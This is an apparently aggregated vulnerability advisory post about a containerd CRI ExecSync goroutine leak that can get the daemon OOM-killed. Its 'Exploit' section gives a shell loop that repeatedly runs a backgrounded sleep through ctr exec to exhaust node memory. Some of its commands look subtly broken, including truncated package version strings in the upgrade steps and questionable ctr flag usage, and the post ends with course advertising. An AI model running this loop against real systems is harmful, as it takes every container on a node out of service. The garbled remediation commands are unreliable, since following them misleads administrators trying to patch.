Listen to this Post
A bug in containerd’s CRI ExecSync implementation allows exec probes and lifecycle hooks with background child processes to keep containerd’s stdio-drain goroutines indefinitely blocked. The I/O drain phase lacks a default timeout or context cancellation handling. Repeated ExecSync invocations (like probes) that include long-lived background processes against a container can cause containerd to leak goroutines and host memory. Over time, this resource exhaustion can cause the containerd daemon to be terminated by the OOM killer, rendering containerd unavailable until it is restarted. This issue affects containerd on Linux systems running with the CRI plugin enabled. Users not using containerd’s CRI implementation or not running containers on Linux are not affected.
DailyCVE Form:
Platform: Linux
Version: <1.7.35, <2.0.12, <2.2.8, <2.3.5
Vulnerability: Goroutine Leak
Severity: Moderate
date: 2026-09-04
Prediction: Already Patched
What Undercode Say:
Check containerd version containerd --version Check for running goroutines (pprof) curl -s http://localhost:6060/debug/pprof/goroutine?debug=1 | grep -c "stdio-drain"
Exploit: (Educational Purposes!)
Simulate a long-lived background process via ExecSync
ctr task exec --sync <container_id> sh -c "sleep 3600 &"
Repeatedly invoke to trigger leak
for i in {1..1000}; do
ctr task exec --sync <container_id> sh -c "sleep 3600 &"
done
Monitor memory growth
watch -n 1 'ps aux | grep containerd'
Protection:
Upgrade to patched versions apt-get update && apt-get install containerd=1.7.35- Debian/Ubuntu yum update containerd-1.7.35- RHEL/CentOS Or apply workaround: avoid long-lived background processes in probes Example: modify liveness probe to use `timeout 10s` wrapper
Impact:
- Node-level Denial of Service
- containerd daemon OOM-killed
- All containers on node become unmanageable
- Requires manual restart of containerd service
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
